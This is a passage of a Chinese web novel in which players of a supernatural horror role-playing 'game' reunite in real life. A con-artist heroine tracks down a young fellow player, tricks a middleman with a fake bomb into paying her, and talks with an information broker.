已经分头走远的杰弗里就完全不给面子地哈哈大笑出了声,不等他“亲爸爸
南风坐进副驾驶,剩下俩人坐在了后座,祝槐靠着窗玻璃看警探打着了火又调整好后视镜,他问:“去教堂?
“反正都和‘神父’说好了。祝槐无所谓道,“应该在等着了吧。
他们抵达的时候,约拿神父——准确来说,自称被伊斯之伟大种族附身的约拿神父——果然已经待在了教堂门口。反正也不是他的东西,对方又保住了他看热闹——划掉,继续观测的可能,大方的伊斯人很乐意做这个人情。
魔术师早先听说了个大概,眼下兴奋地搓着手手就跟着往里进,越靠近最尽头的那扇门就越激动,最终就在神父掏钥匙开锁、推开大门露出那之后被摆放在正中玻璃盒里的东西时,化为了一声:“哇——
下一秒,他问:“这是啥?
其他人:“……
你不知道你“哇个什么劲儿啊!
幽蓝色的水晶通体剔透,中间又萦绕漂浮着几根丝线般的流光在缓慢地流动。屋内昏暗一片,它却在散发出淡淡荧光,美丽而神秘。
“据我们的研究资料,伊斯人说,“这应该是距今十亿年前的某个种族遗留下来的水晶碎片。
“因为年代久远,我们会称他们为‘oldones’——也就是古老者,它们拥有一些连我们也无法解读的技术,比如创造出了另一种粘稠的液体生物作为奴仆,比如这种水晶储存器。
“现在它已经储满了魔力,可以通过意识共鸣在施法时用来补足不够的部分……不过只有古老者知道该怎么向里面注入更多的魔力。
魔术师早就在他打开玻璃以后抱着这巴掌大的水晶不撒手了。
还有什么比一个无限补蓝瓶更能让法师心动?没有!
他俨然一副晚上也要抱着睡觉的架势,深沉地说:“从此我的毕生理想就是研究怎么传魔了。
南风:“哎,那本书呢?
魔术师:“给你们了给你们了。
反正他也研读了个大概!
这还不算晚,他一见神父如此博学多识就迫不及待地想再套点知识来,伊斯人再敷衍也从指缝里漏了点出来——这简直是个永动机循环。那边聊得一个冷漠一个热火朝天,祝槐也想起来什么似的开了口。
“我觉得这个问问你们就行了,她取出
了那条刻着扭曲五角星的吊坠“这是什么?”
塞缪尔瞥了一眼。
“旧印。”他说。
“可以抵御大多数神话生物的攻击配合法术甚至能伤害乃至击退其中一些。”
南风:“但我记得也不是那么好使……”
“对”塞缪尔应道“起到的作用很有限如果遇上只是对它感到厌恶和能忍受的该怎样还是怎样。”
“比如以这个吊坠的大小下场也有可能是全身粉碎性骨折只有颈椎还好好的。”
得到意料之中的答案祝槐也没什么反应而是取出了另一样“这个呢?”
塞缪尔却定住了视线“……你从哪里弄到这个的?”
“海登家。”祝槐说
“纯粹有点惊讶——应该是蒲林的埃及十字架”他说“只要知道它被附过魔就可以利用它来驱逐或者遣返神话生物当然只能用一次而且也不是百分百生效。”
南风没有听说过这个听着听着就张大了嘴巴愣愣地说:“我早就想问了……”
“你到底比我早加入多久啊?”他茫然道“我没记错的话咱俩同岁吧?”
“跟你无关。”
在某位警探眼里同事情这种东西显然几近于无“反正下次应该也不是一起出任务了。”
南风:“……”
所以说要不要那么凶啊呜呜呜呜!
祝槐“哎”了声开玩笑道:“你们一般都到什么地方啊?我好听着特征躲着点。”
南风明知道他们这些玩家专门逮着这种地方刷副本还是陪着嘀嘀咕咕地演戏“总之就是有奇怪传闻的地方吧……”
“还有偏僻的官方明令禁止的也别去最好。”塞缪尔说“前阵子上新闻的阿兰伯堡湾还有已经完全封锁的托萨地区——我想一般人应该不会去自讨苦吃。”
祝槐:“……”
南风:“……”
这个世界还真是危机四伏!
“反正我是不会——”她随口道忽然感觉手机震了震掏出来看了新发来的消息“啊卡洛琳他们说该集合了。”
最后是面包车开来教堂门口接走了两人据说安排是开到隔壁市的机场再从那里搭航班哪来的回哪去。
捧着水晶
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傻乐的魔术师有自己的人脉正准备叫合作的经纪人来泉城接人。塞缪尔还得回警局复命——虽然就是走个程序—
—他在街头站了几秒,目送车辆远去,转身开门上了车。
这回坐在副驾驶座的还是刀疤,他休息得也不怎么样,眼下正抱好了胳膊仰靠在椅背上闭目养神,妥妥的两耳不闻窗外事。
卡洛琳就有兴致多了,她问:“它们后来没找你啊?
“找了啊,祝槐当然知道她说的是谁,“昨晚就找了。
“它们说很感谢我的付出,甚至还希望以后能继续得到指点……
她欲言又止,“等事业做起来了抽成不说还专门问了地方,说到时候要寄礼物,我只希望别是它们喜欢的那些腐肉干。
南风:“???
草啊。
卡洛琳“扑哧笑了出来:“那我能问问吗?
曾经的对立阵营此言一出,车内的气氛顿时变得有点微妙——特别是知情人都知道,杀手此行的目的可是除去当初的耻辱。
“别误会,卡洛琳挑眉,“我说的是那个。
她伸出右手,“管彤。
祝槐意味深长地“哦了声。
“我叫祝槐,她眨眨眼,随手在包里扯了张纸,写下一串数字,“如果要联系,可以直接打这个号码。
卡洛琳笑着接过那张纸折好,深感自己只适合在这个勾心斗角的地方当棵不引人注目的草的南风还没来得及降低存在感,就被祝槐拽着嘀咕了几句,他正要说什么,另一个声音先同时在几人脑海里响了起来。
【你们……】
kp难言愤怒地刷起了存在感。
【是不是把谁给忘了?】
祝槐:“那忘了谁也不能忘了你啊。
kp:“?
胡说八道!!明明就你忘得最干净!!!
他看出来了!就他和主祭伤得最深,除了他们以外所有人都幸福的世界达成了!
【我的意思是现在可以结束了,你们选各自进入单人结局还是直接共享……这都什么发展,我就没当过这么离谱的kp!】
“我没意见,祝槐忽略了他的后半句,“我可以共享。
南风:“那我也是。
“这不是挺好的?只有卡洛琳搭理了他的抱怨——还是嘲讽,“我共享。
刀疤直接默认了。
kp:“………………
这他妈都是群什么人啊!
【……你们来到机场,和旅行社派来的工作人员对接获得赔偿
后,乘上航班回到了各自的城市。】
【可能是因为潜行大失败撞坏了脑袋,乔·瓦特放弃了复活自己的妻子,回家好好抚养起了原本备受忽视的女儿。毕竟失去了再多,你们至少还有彼此。】
刀疤:“?”
挺好的,但是怎么有人塞私货?
【化名为艾伦·阿狄森的特工在回到组织后,因为要赔偿自己许诺的损失,外加在执行任务途中违反了共计十一条组织规定,失去了自己三个月的工资。】
南风:“……???”
这合理吗!
【呵。】
kp冷笑。
当然要有人一起倒霉了!
【泉城发生的一切也传到了消息灵通的“十二杰克”耳中,其他十一个杰克不再将“杰克之一”当年留下的遗患来当话柄。不论明天会如何,下一个任务还是会如期而至吧。】
【阿维丝·贝奈特继续了学业和一如往常的生活,数日后,一个来自遥远小城的年轻人应聘成为了你父亲的新任助理。又过了一阵子,你收到了一笔来自不明账户的打款。】
kp幼稚地报复道。
【还有一箱寄到你家来的专门经过腐化处理的牛羊肉干。】
祝槐:“……”
祝槐:“?”
【至于泉城举办的亡灵节,获得了前所未有的成功。】
kp宣布。
【从到访过这里的游客口中流传出了这样的传闻——你可以在这里见到你心心念念的已死之人,你们终将在下一场梦中相会。】
【模组《亡灵舞》——结团。】
昏暗室内,有谁“啪”地打开了吊灯开关。
离脱出游戏已经过了好几个小时,天边泛起鱼肚白,透过窗帘映进来的就只有隐隐亮色。
眼前猛然大亮,横躺在基地的休息室沙发上小憩的男人也立刻清醒了,不耐烦地打着哈欠坐起身,“好端端开什么灯?”
从他的额角到鼻梁上方有一道斜下来的旧伤,看着像是多年前被刀深深地划过似的。
“还睡啊?”管彤挑眉,“你家姑娘一会儿就来了。”
陆鸣:“……???”
他还没反应过来,“她大早上的来这儿干嘛?!”
“我发的消息,说你在这,”她单手撑腰,晃了晃手机,“上次她来基地要的联系方式。”
陆鸣倒吸了一口凉气,“她来就得缠着我也要让我想办法
帮她进游戏去!小丫头片子懂个什么,我上次糊弄过去已经很麻烦了,你又——”
“那谁让你害得我暴露的?”管彤毫不客气,“说正题。”
“你在车上都听到了吧?”
“听到了。”陆鸣说,“你不就是想把她也拉进来,问过头儿了吗?”
“没有,用不着了。”
她道:“我打了那个电话,是清洗空调的。”
陆鸣:“……”
噗。
“洗空调……”他笑得前仰后合,“哈哈哈哈哈清洗空调!”
“还是街头那种小广告,”管彤斜他一眼,“人家跟我说前头还有个电话打过去,如果有找人的就让转告说用不着费心了。”
“我早跟你说别小瞧——”
陆鸣不紧不慢道:“‘我’不是军人,但我是,虽说都退役多少年了。”
“她报复我开的那一枪呢。”管彤抽出夹在胳膊上的文件袋,“所以我也托熟人查了户籍系统。”
陆鸣收起了笑容,“这不合规矩。”
“那你要告诉头儿吗?”
管彤耸耸肩,她又不是什么好人,“她的意思很明白,敢告诉名字就是不怕查,战书放我面前了,我也不可能不应吧。”
“不——”陆鸣托着下巴,“想多了,我不会管。”
他俩本来在进入这个模组前就不怎么熟悉,平时只是在基地里低头不见抬头见打个招呼的关系,性格三观上也合不来,顶破天也就是勉强相安无事能合作的程度罢了。
“怎样都无所谓了。一般人的角色卡不会和本人差得太多,否则步态和一些细微的动作总会在无意中暴露出违和感。”她说,“所以我按照推测的年龄范围,还有这个名字一起发了过去……”
陆鸣:“然后?”
“然后他把结果用传真发给了我,应该也是觉得不然我不会信。”
管彤打开文件袋,将那张几乎空白的打印纸放在了他面前的桌上。
“她说的‘祝槐’,根本就查无此人。”
()
第30章 交易
夏日炎炎。
热气蒸得人头疼,江北然和同学刚从学校旁边的超市出来,几个男生嘻嘻哈哈地打闹着勾肩搭背,人手一只刚拆封的雪糕解暑。
掏钱的是江北然,他今天一出来就嚷嚷着要请客,家里又有点钱,所谓损友那也没有让着他的道理,一边嘘他一边在他嚣张的指示下专门往贵了拿。
“哎,北哥,”有个反应过来,“你刚才不是说今天被你妈讲了要来自习吗?还真跟我们打篮球去啊?”
江北然:“等会儿一定等会儿一定。”
等会儿也不一定!前脚才从玩命的游戏里出来,谁想不开去自习啊!这还暑假呢!
他说着就拆开了自己那只的包装袋,一口咬开苦中带甜的巧克力脆皮后就享受起奶油夹心融化的美妙滋味,顿时觉得被扣工资的苦楚都算不得什么了。他还闭着眼,忽然有谁用手指轻轻弹了他肩膀一下。
江北然:“?”
他还在想是哪个哥们又手欠了,一回头撞见对方却发现是根本不认识的面孔时笑容就僵在了脸上,陷入了一点“难道在哪里见过结果把人家给忘了”的尴尬和迷茫。
但是不能啊,女生瞧着与他年龄相仿,一双上挑的狐狸眼正噙着笑对上他的,长及肩后的低马尾打了点卷儿,戴着露指手套的白皙指尖搭在胳膊上,长相也是万里挑一的好看——他要是真在校里或者校外见过不可能认不出来。
江北然完全是条件反射地又咬了一口雪糕。
不得不说,这笑有点眼熟……
他头脑风暴到压根成了浆糊,直到对方用食指从衣兜里勾出个十字架在他面前晃了一圈。
江北然:“噗——咳咳咳咳咳!”
他现在可后悔死那一口了,险些被它直接呛死,这咳得上气不接下气也顿时引来其他人的目光——其余男生这时候才发现身旁突然多了个人。
“咦?!”
“北哥你熟人?”
“江北然你上哪认识这么漂亮的小姐姐,也不介绍大家——”
“去去去,少在这儿讲有的没的。”江北然立马制止这几个嘴碎的,他想想某些人的下场就浑身发凉,“姐,我姐。求你们赶紧闭嘴打球去吧我去图书馆自习了拜拜拜拜拜拜!过几天再聚!”
“哎,江北然!搞什么呢你!”
这时候谁还顾得上球友啊,江北然推着祝槐肩膀直
接把人推离了风暴中心,他几个同学见他跑得太快也讨不着趣,也只好耸耸肩拍着皮球往篮球馆的方向走了。
而话题的原主人公还沉浸在半夜才从游戏毕业下午就在现实见到的错乱和对方怎么找上了门还居然这么快的震惊之中,狠掐了自己一把,又掐了一把,还是没法从这疼痛确定自己不是在梦里。
“要我帮你掐一下吗?”祝槐好心地问。
江北然:“……”
这语气,是本人!
“不是,姐,”他迷茫道,“诶我到底该不该叫你‘姐’……”
“女性的年龄可是秘密。”祝槐看着对方瞬间紧张起来的表情,一个没忍住又笑出来,“开个玩笑啦——都行,你那张卡还比现实大一岁吧,那我应该是比你大三岁。”
“江北然?还是继续叫你‘南风’?”
这下可以确定一件事,在只有玩家彼此的情况下,是可以自由交流关于游戏的事的。
“听着有点奇怪,”江北然挠挠头,“不过既然是在现实世界……那就这么来吧。”
他还没回过神,“可姐你到底是怎么——”
他明明就只说了自己的名字和所在地!
祝槐:“我没说过我也在云出市?”
江北然:“没有啊!”
祝槐“哦”了声,“那可能是忘了。”
江北然:“……”
他想起那张一眼就被对方记住的地图——谁信啊!!!
“想知道为什么我找得到你吗?”祝槐问。
江北然使劲点头。
“好吧,”她说,“首先以你最开始在泉城的表现,家里应该有点家底,但家教也不错,可以猜出一点以后选择职业的方向。然后你跟我提过离散数学,这样就可以继续排除一些不学这门科目的专业和你的年级——”
江北然震撼得合不上嘴巴了。
“……编不下去了,”祝槐咳了声,“以后少在网上暴露个人信息。”
江北然:“……???”
更离谱了好吗?!
“事实是我猜测你还是学生以后黑了学籍系统,找到对应信息后进一步推出了你的社交账号。”
祝槐思索道:“然后发现你就是在本地读大学,还拍了出门的照片发动态说今天要去图书馆好好努力,下学期保证不挂科。”
江北然:“………………”
他这只不听话的手啊!
“姐
,”他颤抖道,“你你你……”
“不是什么好人。”祝槐笑盈盈地帮他补上了后半句话,“你可以当我是个欺诈师,也可以当我是个黑客。”
“两边都不冲突,‘人类才是系统中最大的安全漏洞’——这是我挺喜欢的电影里的一句话。”
“还是找个地方再聊吧,”她说,“说不定时间不会太短。”
十分钟后,两人进了附近某家网咖的vip包厢。
祝槐进门先检查了下几台电脑的摄像头和麦克风权限,“我得说我不太喜欢带这些东西的地方。”
“我懂我懂,职业病……”有前头在模组里的经历打底,江北然适应良好地打了个哈哈,反正他也想得到对方的身份不会简单,至少可以肯定对方不是害他的,“大学城这边也很难找到人少又有包间的咖啡厅嘛。”
“说起来——姐你把那东西带出来了?”
祝槐“嗯”了声。
她这次出来以后,发现app上的物品仓库里头果然多出了两样东西,选中了再选择提取,东西就凭空出现在了面前。
“海登家,我果然还是觉得……”他嘀咕,“虽然道具肯定很好用。”
祝槐有点忍俊不禁,“你怎么比我还生气。”
“这很难不生气吧?!”江北然打抱不平道,“一开始就是为了给多年前惨死的父母报仇,结果到后头才知道自己根本就是被他们当祭品来利用,终究是错付了好不好!”
“我是不在意这个啦,角色扮演的目标而已。”欺诈师笑眯眯地说,“而且我也觉得有可能不是他们家亲生的孩子,或者我换个你能接受点的说法?”
江北然:“啊?”
祝槐:“海登家明明是召唤的主事人,为什么家里反而能找到旧印和十字架这种用来驱逐祂们的东西?”
“而且,”她补充道,“是用作为遗物的项链打开的,也可以认为是有意留给那个孩子的吧。”
“你去那里的时候,应该也看到了现场还有不少幼儿玩具。另外一点,仪式的拖延是因为资料留存得少得可怜,如果其实本来该有,但被人提前毁掉了呢?”
“难道……”江北然愣愣地说,“你的意思是说……”
哪怕一开始是作为祭品来接纳抚养,在日渐相处中也滋生出了一定的感情,只不过在真正的选择之前——
“一个猜想,不一定对。”而且是专门往好了理解,祝槐笑笑,“我也不知道那么多年前的真相究竟是
什么样。”
“还不如去问卡洛琳来得快不过说到底她那边也是给的设定未必真的知道……啊说到这个。”
她说:“那两个人应该认识。”
“认识?”江北然迷惑“刀疤和卡洛琳吗他俩都合作了肯定认识吧……等一下意思是他俩在现实认识?”
祝槐点了点头。
“卡洛琳说他们以共犯的身份保持联络我就觉得很微妙了。”她说“按常理来说如果你抽到他俩的身份秘密你会怎么做?”
江北然陷入了思考。
“那当然是努力当最无辜的那个”他嘟囔“藏着掖着能瞒多久是多久在其他人不知道的时候偷偷搞事……啊!”
祝槐:“对吧?”
“两边都是恶人身份为什么能那么快放下对彼此的警惕选择坦白合作?”她问。
“当然不仅是这点你注意到了吗?”她说“卡洛琳和人相处其实很有分寸。”
江北然:“……”
他注意到了才有鬼好不好!
“同样的情况放在你我身上她一般想笑也会出于礼貌忍着。但是对刀疤就会一点也不客气地嘲笑——举个例子汤尼最开始发花的时候。”
江北然:“………………”
……姐姐你什么观察力啊?!
“其实我是有那么点感觉”他自愧不如地用指头挠挠脸颊“虽然就一点点违和感……”
“所以看在开局刀疤提醒了我的份上……”祝槐笑笑“我暗示了他们一下也告诉你好了。”
“游戏强制说出的不是真名”她道
只不过一般人的这个选项就是自己的真名罢了。
江北然一下子被这句话的信息量震住了。
“姐”半晌他小心翼翼地说“你……”
祝槐:“你觉得以我的职业会随便把名字告诉别人吗?”
也是。
江北然:“咳……不会。”
祝槐:“我会。”
江北然:“……???”
喂!!!
祝槐显然觉得他的反应很好玩在他的抗议之下才把笑收了回去“另一种可能是认知上的真名。”
“‘祝槐’是我自己起的名字我还是挺喜欢的”她道“不管怎么说的确是我现在认为的真名。”
现在……
江北然好奇得抓心挠肺,但也知道不适合他再问下去了,而是转向了另一个问题,“但是我还是不明白,为什么找我啊?
“或者说……他摸摸鼻子,“为什么是我?
说实话,他自己都觉得要不是天选身份有友方npc又站对了队,早特么该撕卡了。
“这个问题啊……
卡洛琳不说了,而以刀疤的表现来看,他应该是有更看重的东西。
祝槐沉吟了两秒,“有自知之明,学习能力强,反应跟得上随机应变,心地也不错——这几点加起来其实就强过大多数人了。
江北然在她打量的目光下只觉得自己左脸写着“可堪,右脸写着“一用,一时竟不知道该为这赏识而感动还是为前面的“自知之明和似乎多少有点多舛的前程落泪。
“就是得多补点锌。她补充说。
……所以还是在说他缺心眼吧喂!
“我希望你可以帮我做个实验,祝槐说,“不过其实只是件举手之劳的事。
江北然“咦了声:“什么?
祝槐:“就是——
话说到一半,她包里的另一只手机忽然响了起来。祝槐看了眼屏幕上的来电显示,毫不犹豫地挂断了电话,抬头笑道:“改天再说吧,明天有时间吗?
“有是有,江北然说,“暑假嘛。
“那就明天下午三点,还是在校门口见面。
祝槐收起了手机,“我现在有点事,就先走啦?
江北然:“哦、哦哦……
他感觉自己简直就像还在梦里,尽管命运早在他碰巧拿到铭牌的那一刻发生了剧变,但直到现在才真正有了点与现实产生联系的实感。
……虽然在第一次也有人试着联络的时候被他拒绝了就是了。
两人在网咖门口道别,江北然站在原地愣了会儿,看着对方脚步轻快地离开,苦着脸真往图书馆那边走了。
游戏得参加,但他开学也还得补考啊!这日子过不下去了呜呜呜呜!
从这边往前走,其实有一小片银杏林。
盛夏时节的树叶绿得清亮,遮出片片阴凉,走在僻静的林间小道上连暑气仿佛也被驱散了大半。道旁还栽了丛丛的天仙子,带着暗色纹路的花朵微微垂着脑袋,不算起眼地隐匿在草叶间。
祝槐的手机又响了。
“喂,
“你这孩子怎么不接电话?电话那头的男人笑道,“你之前不是说今天凌晨要进那个游戏的,现在应该出来了吧?
“出来了啊,祝槐无辜道,“怎么了?
“……张明栋耐下性子,“张叔问你,就是让你找的那个东西——
祝槐:“嗯,怎么啦?<
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p>张明栋:“………………
“找到了吗?他一字一句道,“有消息了吗?
“诶,难道委托人那边催了?祝槐惊讶地问,“有消息是有……张叔你现在在哪儿啊?
一听她说有消息,老张语气顿时缓和多了,他给旁边的男人使了个眼色,“我刚好开车过来到你家附近这边办事,想起来就顺带问一句,你要是方便的话就来见个面?
祝槐笑笑。
“我实话实说,东西已经到手了,她说,“张叔你先把钱转过来行吗,我想跑也跑得了和尚跑不了庙是不是?
她态度来了个一百八十度大转变,张明栋本来就是个多疑的性子,这下更是起了疑心,偏偏还得耐心哄劝道:“委托人这边肯定也想验一下,咱们当面一手交钱,一手交货。
“验货也不一定非得当面吧?祝槐问,“还是张叔你根本没打算给我那剩下的二十五万啊?
老张表情僵了一下——幸亏是电话对面看不见他的样子,“害,你这话说得,张叔还能骗你不成?
“其实吧,我本来也觉得不会。
祝槐倒吸了一口凉气,“那你带着两个打手在我家楼下做什么呢?
张明栋:“……
张明栋:“?????
他猛地抬起了头,四下环顾,果然在正对面看到了个正在闪烁的红点。再打眼一瞧,是个被胶带绑在树枝上的微型摄像头,只是几乎完全被树叶挡住而谁也没能在这之前注意得到。
他当场骂了一声,也顾不上拆了,转头就冲带的俩人道:“上楼!直接进去!
三人的声音消失在了楼道口,祝槐也关上了自己那只手机上传回来的画面,耐心听着电话那头的动静。她就是走都走了想着装一个看看动静有所心理准备也无妨,想不到还真有乐子可看。
老式居民楼没有电梯,他们一路爬到六楼,气息不稳地去拧门把——没锁。
这下省了撞门的功夫,然而老张心里不详的预感却愈来愈重。下一秒,意料之中又超出想象的景象就让他失了语。
屋
子里空得不剩半点生活气息连家具也只有最基础的桌椅和单人床很显然本来“住”在这里的人早就不知所踪了。
老张慢慢踱了几步几口气差点没上来他转头看在抓在手里的手机这才想起来还挂着通话中立马放到了耳旁“你——”
“嘘。”
祝槐说:“我来猜猜张叔你怎么会在这里。”
“毕竟我本来还想着怎么叫你过来结果你居然上赶着来了。”她道“难道是你们觉得比起五十万买断一个道具还是控制住我让我带回来更多的更划算?”
用不着真的回答电话那头被气到极点的粗重呼吸已经告诉了她答案。
老张阴沉道:“这下你还想要钱?你妈的医药费——”
“张明栋”祝槐笑着问“你在威胁我吗?”
“你大可以去看看医院里的档案是不是还像你当初查到的一样。”
她道:“我很好奇为什么你事到如今还会觉得我说的是真的。不过我是很讲诚信的喏去看看卧室桌子底下吧东西放在那儿了。”
老张一个眼神过去他手底下的打手就径直进了卧室。然而再出来的时候男人的步伐和捧着东西的动作实在有点紧张无比的战战兢兢——他小心翼翼地将铁盒子放在了桌上于是老张也看到了安装在小盒子上面的装置。
花花绿绿的电线从黑盒子上的数字输入盘下绕过去而在那上方显示屏的时间计数正在不断地减少。
……是定时炸
弹。
“放心”祝槐估计着他们应该看到了温言安慰道“火力不强砸了也伤不到你们自己就正好能毁掉里面的东西而已。”
老张牙都快咬碎了“密码是多少?”
“你不仁就不要怪我不义了
张明栋:“………………”
我可去你的吧。
“你不要得寸进尺。”他恶狠狠道。
祝槐:“一百万。”
“你他妈——”
“两百万。”
她说:“你应该也知道你们最开始的价钱是在坑人吧你自己又抽成了多少?”
“……我得去跟他商量一下。”
“三百万”祝槐道“也转告你那边那位再多一句话直接翻倍。”
电话那头瞬间安静了。
祝槐失望地叹了口气。
这一声无疑也传了过去因为
她听见手机“啪嗒”一声掉在地上,伴随的还有打手们“张哥”、“张哥你没事吧”的呼唤声。
不多时,她接连收到了几条转账的通知短信,他们没敢再耍滑头,不算最开始的二十五万,这次加起来共计三百万。
“密码是多少?”老张的声音比之前气虚了不少。
“没有密码。”
祝槐干脆地说:“直接拆了吧。”
张明栋:“……”
他瞬间领会到了这句话的意思,脑袋嗡嗡的,不顾手下震惊的目光一把拽下了粘在盒子上的“炸
弹”。
果然,不管是显示屏还是电线都轻易脱落了。要非说有什么事发生,不是爆炸,而是屏幕上在电池断电之前缓缓滑过去一句“开箱快乐”。
张明栋:“………………”
他快乐个屁!他快心肌梗了!
“你……”
“嗯,”祝槐笑眯眯道,“我觉得对你们来说假的就够用了,就不费那功夫了。”
唯一值得安慰的就是她唯独在以钱易物这点上说了真话,刻着扭曲五角星的吊坠当真躺在箱子里。可张明栋攥着那块石头,想想连自己也倒搭出去的钱,气得半天说不出来一句话。
“我就说嘛,要在道上混,还是得留点诚信和余地的。”
反正也只不过是旧印。
祝槐单手插兜,慢悠悠地一步步往前走,“其实我觉得这次挺愉快的,事最后也是办成了嘛。大家难得认识一场,下次还要继续合作吗?我也不多要,分成我九你一就行。”
话音刚落,祝槐听着耳边突如其来的断音,收回来看了一眼手机。
“……啊,”她自言自语道,“挂了。”
()
第31章 前夕
收尾工作还是要做一下的。
祝槐直接站在原地把这笔钱划进了自己名下,又利落地处理了这个账户和其他资料——她当然早就熟能生巧了
从这一点上看,她和king说不定很有共同语言。
大部分痕迹销毁停当她准备回去再处理剩下的忽然想起什么,又打开了和张明栋的聊天窗口。
“老张”电话挂得太快但是一脑门的糊涂账和烂摊子显然让他还没顾上拉黑她消息很顺利地发了出去。
【房子也是我上个月才租的,用同一个假身份租了一个月,不用费心来找啦。:p】
拉黑删除一条龙。
搞定。
她揣回手机,溜溜达达走完最后一段林间小路。路的尽头再转个弯就通向主干道,祝槐伸手拦了辆出租车,让司机往城郊的居民区开。
她在本市和隔壁市都有一两个住处——本质上是安全屋。毕竟以她的职业性质,偶尔惹了什么不该惹的人要暂避下风头不过大多数时候属于轮流回去歇歇,免得攒太多灰。
这间其实是她这次计划动手前就待着的屋内一应家具全都干净整洁祝槐在玄关鞋柜上丢了钥匙,绕过之前送回来的行李箱进去的时候就顺手扯下了贴在柱子上的杂志切页。
那页少女努力赚钱救治癌症母亲的短篇被放在一旁,她开始心不在焉地思考下次又该搞个什么人设还不等想出个所以然,正待机的电脑忽然“嘀嘀”响了起来。
祝槐:“……”
这是有人进行通话请求的提示音——会在这时候发来的不用想都知道是谁。
她坐到电脑跟前,几块屏幕上弹跳着的都是同一个署名的窗口。
祝槐戴上耳机,接受了对方的邀请,“你今天这么闲?”
“本来很闲,”少年清澈的声音纠正了她的说法“你知不知道张明栋刚才给我来了多长一串夺命连环call。”
“多长?”祝槐问。
“得有个……五六七八个吧。”
……噗。
“你现在肯定在笑。”
少年不满道:“不对你本来就在笑张明栋可把我骂得狗血淋头哎怎么做事的是你挨骂的是我啊?”
“那当然是因为是你
介绍的了。”祝槐说,“别装了,难道你自己没笑?”
“咳……嗯。”
通话那头传来一声装模作样的咳嗽声。
那边的人终于忍不住了,从捂着嘴闷笑了两声到拍着桌子哈哈大笑起来,祝槐怀疑他要连眼泪都笑出来了。她也习惯了对方这种时候的表现,无动于衷地拿远了点耳机,等他平静下来才重新戴了回去。
“白鹄”一般而言是很正常的——甚至除了他的年纪不足以服人以外都表现得过于可信,熟悉他本性的才知道这是个怎样的究极乐子人,不然也不至于有那么多人前仆后继地栽进这个坑。
虽然按理某位欺诈师也没有资格这么讲。
用姜薇的话来说,他俩一个爱看乐子一个能给人找乐子,简直就是一拍即合沆瀣一气狼狈为奸。
“你把人家都气成什么样了,他就一直在问我找来的到底是个什么人。”白鹄啧啧道,“我能说什么啊,不清楚不知道不了解不负责。我连他那样的中间人都不是,被你装成个凄风苦雨大学生给骗了,我也很绝望啊。”
祝槐:啊对对对。
“帮我再留意下那边动静。”她说。
白鹄:“张明栋他们?”
“不光是,他俩本身没什么。”祝槐说,“就知道个旧印,我问黄印他都不知道。”
“黄印……”白鹄问,“黄衣之印?”
“那堆据说信徒认为能看到是受祝福的神选者的问号?还会被诅咒天天做噩梦的破玩意儿?”
祝槐“嗯”了声,她狐疑道:“你真没进过这‘游戏’?”
她自己是个喜欢玩神秘的,但这家伙还要有过之而无不及。
代号“白鹄”的情报商人来历成谜,连她也只知道他的真名和长相年纪——虽然对方对她的了解可能也差不多吧——他对自己的过去更是闭口不提,一心琢磨着的都是怎么找乐子找更大的乐子。
她的情报网大部分取决于黑客技术,另一部分就来源于对方。不管别人被坑成什么样,两个熟知彼此套路的人互相合作起来还是挺靠谱的。
白鹄知道她这些年来一直在追查这方面的事,只要钱和乐子到位也很乐于适时提供帮助。不过二人在此之前从未深谈过,祝槐也是才发现对方知道的比她想象得多。
“没有啊,”白鹄无所谓地说,“我倒是好奇呢,要不是你正好找过来加上张明栋又认识我会起疑,那名额我就自己用了。”
“现实的消息来源也不少
,又不非得是那个‘游戏’。”
他笑得轻快,“你自己不也很清楚嘛?”
尽管对方隔着屏幕不可能看到她的表情,祝槐还是不置可否地挑挑眉,没有回答他的问题。
但就像是也心领神会她这边的安静,白鹄又追问道:“怎么突然想起问黄印了,哎,你真见到黄印了?”
“亲爱的‘白鹄’小弟弟,”她笑道,“有些事情能问有些不能,这个道理你不会不懂吧?”
而且根据规定,既然他没有进去过,只在游戏里发生的事八成也说不出来。
“行行行。”
少年马上滑跪,“我投降,怕了你了还不行?”
“准确来说也不是知道旧印,”祝槐继续了刚才歪掉的话题,“他们只知道要这个图案,不知道它具体代表什么。”
“所以我很好奇那个告诉他们旧印可以当护身符的人,现在拿到了东西可能会回头去联系那家伙,我想要你留心的是这个。”
白鹄:“那你说我要不要告诉张明栋,鱼钩还挂在他俩这条小鱼嘴上等着钓大鱼呢?”
祝槐:“除非你想被我也一起钓了。”
白鹄“哎”了声,“真的吗?那我现在就去。”
祝槐:“???”
“开个小玩笑。”他说,“哟,我看到他们开始挂悬赏了,不蒸馒头争口气啊,这下姜医生那边你还去不去啊?”
“不去了,免得打草惊蛇。”祝槐说,“你帮我随便带点东西过去,而且她自己说的送她什么不如直接包个红包。”
“可真是大彻大悟,”白鹄煞有介事道,“姜医生听了都要夸你上道。”
祝槐:“少来这套。”
“哎,有别的客户找我,那我先挂喽?”
“挂吧,还有昨晚跟你说的,”她道,“那个也一起办了,钱待会儿提前打你账上。”
伴随着少年一声尾音愉悦上扬的“ok”,他打来的通讯也由他率先挂断,祝槐望着重新回到桌面的电脑屏幕,向后靠了靠,半倚在椅背上。
当初刀疤一句“一旦涉及这方面就会强制说出真名”,其实能推出不少事情。
比如路婉婉就是在她之后不假思索地回答了自己的,但谷源那一下微妙的停顿……她不好断言,不过无疑是下意识地隐瞒无果。
以他在被拉入油画时连伊莱这样的npc都下意识推开的反应来看,这位的性格倒没有什么问题。
祝槐知道卡
洛琳在被再度耍了一遭后肯定会去查她的身份,这方面反倒是她占了便宜,毕竟“管彤的确是实打实的真名。
于是她也礼尚往来了一下,根据大致可能的范围一圈圈筛选排查出来,发现符合条件的目标在现实生活中是个朝九晚五打卡的上班族,正常是挺正常的——如果职业不是殡葬师,上班地点不是殡仪馆。
虽说祝槐不打算如对方希望的那样产生什么联系,还是有点在意她与刀疤二人的关系的。
他们两个认识,但明显又没有特别熟,不然刀疤也不会只因为动机不合自己三观就消极怠工还顺带暴露了队友。
更像是达成了进了游戏就进行一定程度上的合作的事前共识,那由此衍生下去,再加上按照常理的推断,玩家们之间完全有可能存在结盟组织。
她凌晨出来以后让白鹄帮着留心的就是任何有这方面暗示的招揽信息,好歹是个地下情报商,有时候比她消息还灵通。就像白鹄说的那样,她在听说最近悄然出现了某个古怪的“游戏
刚坑完——不是,做完一笔交易入账三百万,欺诈师决定先关门歇业给自己小放个假,她从出租房收拾回来的行李只装了寥寥大半个箱子,这会儿把东西都在安全屋安置好加上销毁剩余的身份资料也不过用了一个小时多点。
通关模组还专门搬了趟家,祝槐打着哈欠洗漱完关了灯,打算先睡它个昏天黑地。
